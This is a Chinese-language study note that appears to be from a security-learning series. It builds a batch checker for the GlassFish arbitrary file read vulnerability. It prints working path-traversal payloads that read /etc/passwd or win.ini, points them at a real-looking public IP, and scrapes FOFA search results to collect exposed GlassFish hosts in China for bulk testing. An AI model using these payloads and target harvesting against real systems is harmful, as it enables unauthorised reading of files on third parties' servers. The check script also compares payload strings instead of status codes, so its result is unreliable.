本次笔记暂停,因为自身能力不足,导致笔记难以进行,我需要下去学习两个重要内容 爬虫+数据分析,我会尽可能回来把后面的笔记补上,别的不多说 记载当前时间为 2021-9-1 18:04

三项技术结合一起

Fofa搜索结果提取采集脚本

SRC报告平台信息提取脚本

POC验证批量脚本

准备

  1. 1. 漏洞环境-----Vulhub
  2. 1. 漏洞名称-----GlassFish 任意文件读取漏洞

图片.png

GlassFish 任意文件读取漏洞的描述

我们先来看漏洞原理,就知道该怎么编写Python代码
图片.png

获取对方地址,来判断对方是否存在/etc/passwd内容 ,如果对方是在windows下搭建GlassFish需要更改/etc/passwd为/windows/win.ini


我们到漏洞测试环境下,不论是windows还是Linux环境下,其漏洞是否存在的标志就是返回是状态码是否为404

因为如果正常访问到目录,应该返回如上图,也就是正常访问,漏洞也就视为存在,返回404意味着漏洞不存在

我们可以抓住这一点编写POC验证代码了

如何实现POC批量验证:

  1. 获取可能存在漏洞的地址信息—借助Fofa进行目标获取
    1. 将请求的数据进行筛选,即目标地址
  2. 批量请求地址信息进行判断是否存在—单线程和多线程

利用FOFA获取glassfish漏洞信息

image.png

简单代码判断是否存在GlassFish漏洞


import requests

url = 'http://101.64.236.186:4848'

payload_windows = '/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'

#获取转态码
data_windows = requests.get(url+payload_windows).status_code
data_linux = requests.get(url+payload_linux).status_code

#通过返回的状态码判断是否存在漏洞
if(payload_windows == 200 or payload_linux == 200 ):
    print("漏洞存在")
else:print("漏洞不存在")

为了能够实现批量化验证漏洞,接下来利用爬虫技术

首选对网址进行分析

[https://fofa.so/result?qbase64=Z2xhc3NmaXNo](https://fofa.so/result?qbase64=Z2xhc3NmaXNo)
image.png

我们看到一个关键词base64,尝试去解码base64后面的值,发现就是我们的搜索值 glassFish

image.png

分析完成后,回到我们的目标,可见分析是没有问题的

[https://fofa.so/result?qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCImJmNvdW50cnk9IkNOIg](https://fofa.so/result?qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCImJmNvdW50cnk9IkNOIg%3D%3D)

image.png

import requests
import base64

requests_data = '"glassfish" && port="4848" && country="CN"'

url = 'https://fofa.so/result?qbase64='

bm_requests_data = str(base64.b64encode(requests_data.encode("utf-8")),"utf-8")

print(bm_requests_data)

re_data = requests.get(url+bm_requests_data).content.decode()

print(re_data)

image.png

接下来利用Xpath语法提取重要信息,实现批量化验证

先来获取页面信息

import requests
import base64

requests_data = '"glassfish" && port="4848" && country="CN"'

url = 'https://fofa.so/result?qbase64='

bm_requests_data = str(base64.b64encode(requests_data.encode("utf-8")),"utf-8")

re_data = requests.get(url+bm_requests_data).content.decode()

print(re_data)

image.png

image.png

使用Xpath语法获取信息

import requests
import base64
from lxml import etree

requests_data = '"glassfish" && port="4848" && country="CN"'

url = 'https://fofa.so/result?qbase64='

bm_requests_data = str(base64.b64encode(requests_data.encode("utf-8")),"utf-8")

re_data = requests.get(url+bm_requests_data).content.decode()

Xpath_data = etree.HTML(re_data)

newdata = Xpath_data.xpath('//*[@id="__layout"]/div/div[2]/div/div[2]/div[2]/div[2]/div[*]/div[1]/div[1]/span[2]/a/text()')

print(newdata)

得到第一个页面的所有IP信息
image.png

由于我没有这个网站的会员,所以无法演示页面更换了

接下来的代码无法继续写下去,但是知识点我们需要去学习(翻页+多线程)

去实战其他网站其实也是可行的

Day15—单线程和多线程
Day23—页面翻页